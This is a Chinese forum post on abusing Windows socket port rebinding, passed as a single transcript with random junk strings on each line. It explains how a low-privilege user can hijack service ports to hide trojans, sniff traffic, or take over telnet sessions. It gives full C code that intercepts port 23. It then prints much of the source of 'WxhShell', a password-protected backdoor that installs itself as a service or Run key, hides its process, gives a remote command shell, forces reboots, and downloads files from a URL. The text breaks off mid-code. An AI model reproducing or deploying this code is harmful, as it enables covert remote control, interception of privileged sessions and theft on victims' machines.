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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8Jxo;Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a8Ci 7<V  
E(TL+o  
  saddr.sin_family = AF_INET; Cd6^aFoK!  
DFR.F:O%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fTV:QAa;  
9{xP~0g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uN6TV*]:  
ur*1I/v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QXgh[9w G  
t[iE >  
  这意味着什么?意味着可以进行如下的攻击: >,32~C  
x*bM C&Ea  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ha3 Qx  
p0'A\@|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *Swb40L^  
K.b-8NIUW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )Hl;9  
;f0+'W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。    3xV  
*9?-JBT&F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NaB8cLURp  
/e#_Yg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7 P=1+2V  
nmS3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3EF|1B/5  
IqcPml{\  
  #include [S-NGip  
  #include Z"% =  
  #include I)Lg=n$  
  #include    4vp,izNW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D|`[ [  
  int main() kJHUaXM  
  { 5NBc8h7 V  
  WORD wVersionRequested; cz&Qoyh{;  
  DWORD ret; VX2bC(E'%  
  WSADATA wsaData; Q5{i#F7nJm  
  BOOL val; 8WfF: R;  
  SOCKADDR_IN saddr; EJb"/oLla  
  SOCKADDR_IN scaddr; 6_`x^[r  
  int err; "7Zb)Ocb  
  SOCKET s; Y@_ i32,r  
  SOCKET sc; /|`;|0/2  
  int caddsize; lNls8@  
  HANDLE mt; }4 P@`>e/`  
  DWORD tid;   9V[|_  
  wVersionRequested = MAKEWORD( 2, 2 ); p,$1%/m  
  err = WSAStartup( wVersionRequested, &wsaData ); >77 /e@  
  if ( err != 0 ) { b3<<4Vf  
  printf("error!WSAStartup failed!\n"); tiI>iP`!  
  return -1; ]^/:Xsk$  
  } n M,m#"AI  
  saddr.sin_family = AF_INET; \SA5@.W  
   M+ 8!#n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kHm1aE<  
#@ 3RYx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fPZBm&`C  
  saddr.sin_port = htons(23); o5i?|HJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pj?+cy v~  
  { x4 4)o:  
  printf("error!socket failed!\n"); 6V*@ {  
  return -1; \*v}IO>2})  
  } g@`14U/|  
  val = TRUE; = 14'R4:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }\OLBg/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #xm<|s   
  { /vD5C  
  printf("error!setsockopt failed!\n"); UVxE~801Y  
  return -1; 2RT9Q!BX{  
  } \aU^c24>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {ZY^tTsY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *{)[:;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M5: f^  
!M)!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Gx y>aS3  
  { }8fxCW*|  
  ret=GetLastError(); MDGcK/$')f  
  printf("error!bind failed!\n"); :_p3nb[r  
  return -1; ;7K5Bo  
  } vObP(@0AM  
  listen(s,2); <E&1HeP  
  while(1) B.'@~$  
  { >O9j},X  
  caddsize = sizeof(scaddr); 5R{ {FD`h  
  //接受连接请求 nyw,Fu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )j',e $m  
  if(sc!=INVALID_SOCKET) P@PZm  
  {  aVz<RS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~Rs|W;  
  if(mt==NULL) Olj]A]v}  
  { #fk)Y1  
  printf("Thread Creat Failed!\n"); wI1[I  
  break; {YcVeCq+N  
  } dt',)i8D  
  } /21d%T:}  
  CloseHandle(mt); 8v*>~E/0  
  } SL hki)|  
  closesocket(s); {,]BqFXv  
  WSACleanup(); i74^J+xk  
  return 0; 83412@&  
  }    +h9U V  
  DWORD WINAPI ClientThread(LPVOID lpParam) prlB9,3|C  
  { k]qZOO}  
  SOCKET ss = (SOCKET)lpParam; SR*%-JbA  
  SOCKET sc; 9x;/q7  
  unsigned char buf[4096]; zv@'x nY]  
  SOCKADDR_IN saddr; ^n@iCr9  
  long num; Zv7@  
  DWORD val; ' uo`-Y  
  DWORD ret; w_KGn17  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $\81WsL '  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Te[[xhTyw  
  saddr.sin_family = AF_INET; mIFS/C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "*RCV6{  
  saddr.sin_port = htons(23); I%e7:cs>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,RCjfX a  
  { J}._v\Q7P  
  printf("error!socket failed!\n"); DECX18D  
  return -1; fOE:~3Q  
  } pr;<n\Y{  
  val = 100; S/~6%uJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qc[[@=S%  
  { iV'-j,-i  
  ret = GetLastError(); g_0"T}09(  
  return -1; v 0rX/ mj  
  } K ANE"M   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *VHBTO9  
  { z6Su`  
  ret = GetLastError(); f910drg7  
  return -1; +}mj6I  
  } &Ei dc .  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *XniF~M  
  { y^;qT_)#  
  printf("error!socket connect failed!\n"); vbDw2  
  closesocket(sc); %(6f  
  closesocket(ss); qhK;#<#  
  return -1; a Q`a>&R0  
  } jvu,W4  
  while(1) $XyGCn  
  { 8^dGI9N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $ZcmE<7k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )&_{m K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -\UzL:9>  
  num = recv(ss,buf,4096,0); })mez[UmZ  
  if(num>0) Z: T4Z}4N  
  send(sc,buf,num,0); {GHGFi`Z  
  else if(num==0) ngm7Vs  
  break; 6bHj<6>MX  
  num = recv(sc,buf,4096,0); ,x{5,K.yWq  
  if(num>0) ARQ1H0_B  
  send(ss,buf,num,0); n0vPW^EQ  
  else if(num==0) SCGQo.~,  
  break; []dRDe;#  
  } "Ww^?"jQ)  
  closesocket(ss); f_Wn[I{  
  closesocket(sc); lPFMNRt~8  
  return 0 ; 3J(STIxg  
  } Llk`  
k?J}-+Bm[|  
F&c A!~  
========================================================== 8V}c(2m  
8\I(a]kM`  
下边附上一个代码,,WXhSHELL JRodYXjE  
X0!48fL*  
========================================================== A@DIq/^xM  
Wq,UxMz  
#include "stdafx.h" Q'A->I<;_s  
C y& L,  
#include <stdio.h> X;6X K$"  
#include <string.h> 0f-gQD  
#include <windows.h> jXW71$B  
#include <winsock2.h> ~+T~}S  
#include <winsvc.h> ~z< ? Wh  
#include <urlmon.h> i, )kI  
f3596a  
#pragma comment (lib, "Ws2_32.lib") WrG)&&d  
#pragma comment (lib, "urlmon.lib")  MT&i5!Z  
q g%<>B&"  
#define MAX_USER   100 // 最大客户端连接数 4Yn*q~f  
#define BUF_SOCK   200 // sock buffer UhEnW8^bz1  
#define KEY_BUFF   255 // 输入 buffer zF{ z_c#3@  
xknP `T  
#define REBOOT     0   // 重启 =j}00,WH  
#define SHUTDOWN   1   // 关机 FvvF4 ,e5  
;XTP^W!6f  
#define DEF_PORT   5000 // 监听端口 Zd5fr c$  
G4=v2_]  
#define REG_LEN     16   // 注册表键长度 ;ga~ae=Fg  
#define SVC_LEN     80   // NT服务名长度 `Y(/G"]  
h\20  
// 从dll定义API n\P{Mc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .IYE"0)wJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RQh4RUm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )9PQ j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |\b*p:e l  
R_ Z H+@O  
// wxhshell配置信息 2?m'Dy'JE  
struct WSCFG { l$zM|Z1wR`  
  int ws_port;         // 监听端口 jmAWto}.  
  char ws_passstr[REG_LEN]; // 口令 _$F I>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9cj:'KG)!  
  char ws_regname[REG_LEN]; // 注册表键名 ~s88JLw%&u  
  char ws_svcname[REG_LEN]; // 服务名 yTmoEy. q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FfP Ce5)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \a}%/_M\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5$jKw\FF=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $_<,bC1[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,H.q%!{h_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WF:i}+g+^  
N.3M~0M*  
}; A!hkofQ  
f4:g D*YT  
// default Wxhshell configuration QDyL0l{C  
struct WSCFG wscfg={DEF_PORT, Qs*g)Yr  
    "xuhuanlingzhe", b~cN#w #  
    1, 4egq Y0A  
    "Wxhshell", 4GaF:/  
    "Wxhshell", 5]gd,&^?>  
            "WxhShell Service", iGm[fxQ|  
    "Wrsky Windows CmdShell Service", MT|}[|_  
    "Please Input Your Password: ", mO]>(^c  
  1, up`!r;5-  
  "http://www.wrsky.com/wxhshell.exe", \J:/l|h  
  "Wxhshell.exe" }cMb0`oA  
    }; Xgc@cwd  
*y F 9_\n  
// 消息定义模块 CYs:P8^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r1xN U0A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <{7B ^'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZOfyy E  
char *msg_ws_ext="\n\rExit."; `0Qzu\gRb  
char *msg_ws_end="\n\rQuit."; 2et7Vw  
char *msg_ws_boot="\n\rReboot..."; .J'}qkz~  
char *msg_ws_poff="\n\rShutdown..."; leX&py  
char *msg_ws_down="\n\rSave to "; b`fPP{mG  
GuNzrKDr  
char *msg_ws_err="\n\rErr!"; ti3T ?_  
char *msg_ws_ok="\n\rOK!"; }M * Oo  
LEWeybT  
char ExeFile[MAX_PATH]; GR Rv0M  
int nUser = 0; Z6A*9m  
HANDLE handles[MAX_USER]; R/xeC [r  
int OsIsNt; BUuNI_?M#5  
k*[["u^u]  
SERVICE_STATUS       serviceStatus; % sbDH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; seB ^o}  
6/Q'o5>NL:  
// 函数声明 5iwJdm  
int Install(void); u-$(TyDEl|  
int Uninstall(void); 6 `+dP"@  
int DownloadFile(char *sURL, SOCKET wsh); I|@%|sTW  
int Boot(int flag); Cpz'6F^oP  
void HideProc(void); nM>oG'm[n  
int GetOsVer(void); /Z94<}C6b  
int Wxhshell(SOCKET wsl); `rN,*kcP  
void TalkWithClient(void *cs); u`O xY  
int CmdShell(SOCKET sock); mADq_` j  
int StartFromService(void); (:4N#p  
int StartWxhshell(LPSTR lpCmdLine); a4Qr\"Qm  
4siNY4i"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yO; r]`j0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bx_`S#*N  
1>r7s*  
// 数据结构和表定义 [I^>ji0V  
SERVICE_TABLE_ENTRY DispatchTable[] = p'M5]G  
{ vd6Y'Zk|F6  
{wscfg.ws_svcname, NTServiceMain}, AK]{^Hvz  
{NULL, NULL} 7F!_gj p  
}; : 9wW*Ix  
S!j=hj@qW  
// 自我安装 CkKr@.dV  
int Install(void) nlOM4fJ(  
{ R@ N I  
  char svExeFile[MAX_PATH]; jCa%(2~iQ7  
  HKEY key; a ;WRTV  
  strcpy(svExeFile,ExeFile); B2w\  
SSEK9UX  
// 如果是win9x系统,修改注册表设为自启动 8QDs4Bv|  
if(!OsIsNt) { mtu/kd'(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $hZb<Xz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (LbAP9Zj#f  
  RegCloseKey(key); BQu_)@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uLX5khQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,\laqH\ 1%  
  RegCloseKey(key); kv{uf$X*ve  
  return 0; 0*^ J;QGE  
    } |WqEJ*$,  
  } +LuGjDn0  
} pLjet~2}iJ  
else { ^m8T$^z>  
G5a PjP  
// 如果是NT以上系统,安装为系统服务 a+sHW<QeS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6bF?2 OC  
if (schSCManager!=0) D;VQoO  
{ t[*;v  
  SC_HANDLE schService = CreateService ^PA >t$  
  ( *y<Ru:D  
  schSCManager, d*Q:[RUf,  
  wscfg.ws_svcname, k`FCyO  
  wscfg.ws_svcdisp, ` ]%\Y>(a}  
  SERVICE_ALL_ACCESS, [- C -+jC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hiO:VA  
  SERVICE_AUTO_START, ]k~Vh[[  
  SERVICE_ERROR_NORMAL, U'(}emh}  
  svExeFile, ii&{gC  
  NULL, GPlAQk  
  NULL, &U q++f6  
  NULL, hd{Vz{;W  
  NULL, <q|IP_  
  NULL 2r;^OWwr?  
  ); 7.g)_W{7}  
  if (schService!=0) &* GwA  
  { E)z[@Np  
  CloseServiceHandle(schService); O0OBkIj  
  CloseServiceHandle(schSCManager); DE"KbA0}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b*$/(2"m  
  strcat(svExeFile,wscfg.ws_svcname); L(tS]yWHw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cx$C+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bU'{U0lM  
  RegCloseKey(key); B198_T!  
  return 0; 3l5rUjRwj  
    } \bAsn89O  
  } jCdKau&9  
  CloseServiceHandle(schSCManager); 9Br2}!Ny  
} *4}l V8  
} DC S$d1  
Ij; =  
return 1; lOp/kGmn+  
} LX A1rgUWT  
R:=C  
// 自我卸载 :()(P9?  
int Uninstall(void) N}{CL(xi  
{ <jd S0YT  
  HKEY key; aIaydu+\  
N{Og; roGD  
if(!OsIsNt) { A6w/X`([O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VU,\OOp  
  RegDeleteValue(key,wscfg.ws_regname); %-"?  
  RegCloseKey(key); ),`MAevp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *0bbSw1kc  
  RegDeleteValue(key,wscfg.ws_regname); xTQV?g J  
  RegCloseKey(key); tm\ <w H  
  return 0; ]PdpC"  
  } 6_/oVvd  
} 4f,D3e%T|  
} KLBV(`MS  
else { QrDrd A  
rN#ydw:9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }%k,PYe/  
if (schSCManager!=0) !v\m%t|.  
{ 5xW)nEV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;aYPv8s~,:  
  if (schService!=0) ,-u | l  
  { U,/NygB~  
  if(DeleteService(schService)!=0) { QI>yi&t  
  CloseServiceHandle(schService); e2w$":6>  
  CloseServiceHandle(schSCManager); z79L2lJn  
  return 0; b!hxx Z  
  } 2^Gl;3  
  CloseServiceHandle(schService); M%4o0k]E,s  
  } W.p->,N  
  CloseServiceHandle(schSCManager); Lc^nNUzPo  
} K/oPfD]  
} HC w$v#  
;}IF'ANA  
return 1; ]OY6.m  
} W#'c6Hq2c  
&:L8; m  
// 从指定url下载文件 qcke8Q  
int DownloadFile(char *sURL, SOCKET wsh) tjkY[  
{ ^8)&~q*  
  HRESULT hr; _%l+v  
char seps[]= "/"; GSV,  
char *token; n]4)~ZIAU  
char *file; 'xZxX3  
char myURL[MAX_PATH]; s9'g'O5  
char myFILE[MAX_PATH]; )?'sw5C  
&dvJg  
strcpy(myURL,sURL); .}ZX~k&P  
  token=strtok(myURL,seps); [.<nt:  
  while(token!=NULL) ?t)y/@eG  
  { FVG|5'V^  
    file=token; h0n0Dc{4  
  token=strtok(NULL,seps); Pb} &c  
  } vJ GxD\h  
pvy;L[c  
GetCurrentDirectory(MAX_PATH,myFILE); y=9a2 [3Dz  
strcat(myFILE, "\\"); P?n!fA>!  
strcat(myFILE, file); !=&]#-;b  
  send(wsh,myFILE,strlen(myFILE),0); T'XAcH  
send(wsh,"...",3,0); {z@vSQ=)=P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $$ _ uQf  
  if(hr==S_OK) &:]_a?|*S  
return 0; /G[y 24 Q  
else #2yOqUO\  
return 1; 0x^$q? \A  
a}E8A DyC  
} 9][Mw[k>  
e/;Ui  
// 系统电源模块 U YUIpe  
int Boot(int flag) >jl"Yr#  
{ /UyW&]nK  
  HANDLE hToken; rF~q"9  
  TOKEN_PRIVILEGES tkp; idO3/>R [  
m_rRe\  
  if(OsIsNt) { 7M;Y#=sR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N0 ?O*a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u6r-{[W}  
    tkp.PrivilegeCount = 1; vo7 1T<K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }f&7<E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m}uF&|5  
if(flag==REBOOT) { _%zU ^aE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;o^m"I\y  
  return 0; #i2q}/w5`C  
} bMSF-lQ  
else { 4QI vxH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BM&'3K_y  
  return 0; *"zE,Bp"  
} A5H[g`&  
  } a}>GQu*y  
  else { ;'o>6I7Ph  
if(flag==REBOOT) { _l8oB)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GtGToI  
  return 0; cuKgO{.GH  
} ! h4So4p  
else { WLh_b)V|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R*&3i$S  
  return 0; ~{NDtB)  
} T@vVff  
} `HJwwKd  
W}=2?vHV=  
return 1; wy -!1wd  
} m",bfZ  
ihYf WG|  
// win9x进程隐藏模块 (Q&z1XK3  
void HideProc(void) QiRzA4-zq  
{ %##9.Xm6l  
>=Rb:#UM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JGdBpj:  
  if ( hKernel != NULL ) ?b7vc^E&  
  { 4@W.{|2~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ome>Jbdhe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !EW]: u  
    FreeLibrary(hKernel); bFJn-g n  
  } ,}|V'y  
>qgBu_  
return; d z\b]H]  
} cM"I3  
7SM/bJ-M#  
// 获取操作系统版本 D@ lJ^+  
int GetOsVer(void) E nUo B<  
{ ]E3g8?L  
  OSVERSIONINFO winfo; [a Z)*L ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9"aTF,'F/  
  GetVersionEx(&winfo); #nxx\,i>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w##Fpv<m  
  return 1; 'qD9k J`  
  else {38aaf|'/  
  return 0; ?@,:\ ,G  
} tO0+~Wm  
df)1} /*L  
// 客户端句柄模块 x SUR<  
int Wxhshell(SOCKET wsl) ZN1p>+oY!  
{ b$ eJH  
  SOCKET wsh; GJ$,@  
  struct sockaddr_in client; 2#[Y/p  
  DWORD myID; p?h;Sv/  
#}Cwn$  
  while(nUser<MAX_USER) %)e+w+  
{ M#p,Z F  
  int nSize=sizeof(client); -I*A  `M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1W8W/Y=hT  
  if(wsh==INVALID_SOCKET) return 1; W7 E-j+2  
GwV FD%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a]k&$  
if(handles[nUser]==0) M}<=~/k`j  
  closesocket(wsh); uj@<_|7  
else g=(+oK?  
  nUser++; _7;^od=C  
  } 525 >=h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qw/{o:ce]  
?uN(" I  
  return 0; N'1~wxd  
} g}-Z]2(c#  
X3nhqQTZ  
// 关闭 socket #.)>geLC>9  
void CloseIt(SOCKET wsh) m [g}vwS  
{ jJvNN -^  
closesocket(wsh); yd~fC:_ ]  
nUser--; Zy%Z]dF  
ExitThread(0); {Jc!T:vJ  
} _XZ=4s  
\_E.%K  
// 客户端请求句柄 < &2,G5XA  
void TalkWithClient(void *cs) %np#Bv-L  
{ :ct+.#  
"BRE0Ir:  
  SOCKET wsh=(SOCKET)cs; B>ZPn6?y  
  char pwd[SVC_LEN]; MDP MOA  
  char cmd[KEY_BUFF]; D3{lyi|8  
char chr[1]; p#d UL9  
int i,j; M<unQ1+wh  
)mdNvb[*n  
  while (nUser < MAX_USER) { Jf$wBPg  
[u80-x<  
if(wscfg.ws_passstr) { [R>   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %b;+/s2W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sCQup^\  
  //ZeroMemory(pwd,KEY_BUFF); 63S1ed [  
      i=0; WZ&@ JB  
  while(i<SVC_LEN) { |sa7Y_  
hhAC@EGG  
  // 设置超时 `uA&w}(G  
  fd_set FdRead; "S`wwl  
  struct timeval TimeOut; e0HP~&BRs  
  FD_ZERO(&FdRead); Rk%M~D*-  
  FD_SET(wsh,&FdRead); PAV2w_X~  
  TimeOut.tv_sec=8; zI!R-Nb  
  TimeOut.tv_usec=0; \STvBI?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2TEeP7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [!? ,TGM}^  
vw] D{OBv*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tcEf ~|3  
  pwd=chr[0]; t[,T}BCy.  
  if(chr[0]==0xd || chr[0]==0xa) { ' u};z:t  
  pwd=0; g/Jj]X#r  
  break; D{c>i`\G  
  } J7;n;Mx  
  i++; ?{,)XFck  
    }  jnzz~:  
ysJhP .  
  // 如果是非法用户,关闭 socket \Ntdl:fSw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -^Km}9g  
} AJlIA[Kt:  
_8pkejg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n3g WM C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G!LNP&~  
x ETVt q  
while(1) { #'Y6UGJ\n  
ZX6=D>)u  
  ZeroMemory(cmd,KEY_BUFF); , gr&s+  
*Gh8nQbh  
      // 自动支持客户端 telnet标准   .Xz"NyW  
  j=0; [-Tt11  
  while(j<KEY_BUFF) { k=~pA iRDN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |DPpp/  
  cmd[j]=chr[0]; VE"0 VB.  
  if(chr[0]==0xa || chr[0]==0xd) { `(Q_ 65y  
  cmd[j]=0; K<  
  break; '`~(Fkj  
  } hPi :31-0  
  j++; !na0Y  
    } -kri3?Y,  
VmH_0IM^6  
  // 下载文件 p C2c(4  
  if(strstr(cmd,"http://")) { 6dR-HhF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (:bCOEZ  
  if(DownloadFile(cmd,wsh)) =']};  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aU]O$Pg{  
  else awSS..g}L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?)o4 Kt'h  
  } 0e:QuV2X  
  else { ?r'TH/>  
031.u<_  
    switch(cmd[0]) { p<0kmA<B/  
  i_'R"ob{S  
  // 帮助 c>WpOZ,  
  case '?': { UFIAgNKl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Up/u|A$0V  
    break; >&Ui*  
  } V=zM5MH2  
  // 安装 pGbFg&  
  case 'i': { ;$tv8%_L[  
    if(Install()) ;aK !eD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $L&9x3+?Kg  
    else K0DXOVT\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XAULD]Q  
    break; 71<PEawL  
    } l;{N/cS  
  // 卸载 Eagmafu  
  case 'r': { WP@JrnxO\`  
    if(Uninstall()) k"^t?\Q%vI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Str*XA;  
    else b6WC @j`*T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o~.o^0Y  
    break; n"<GJ.{  
    } C>`.J_N  
  // 显示 wxhshell 所在路径 Xx y Bg!R  
  case 'p': { ofPF}  
    char svExeFile[MAX_PATH]; u5{5ts+:  
    strcpy(svExeFile,"\n\r"); +%le/Pg@  
      strcat(svExeFile,ExeFile); kO,VayjT  
        send(wsh,svExeFile,strlen(svExeFile),0); e2-70UvW^  
    break; d[>N6?JA/  
    } v-7Rb )EP  
  // 重启 ;(Ajf.i  
  case 'b': { ;oY(I7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j_6`s!Yw  
    if(Boot(REBOOT)) e1 {t0f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I"F .%re  
    else { ` r'0"V  
    closesocket(wsh); SN[L4}{  
    ExitThread(0); lEyG9Xvi  
    } y[^k*,= 9  
    break; m_E[bDON  
    } _86*.3fQG  
  // 关机 -e`oW.+  
  case 'd': { V'Z&>6Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Pem%HE~P  
    if(Boot(SHUTDOWN)) dY4k9p8  
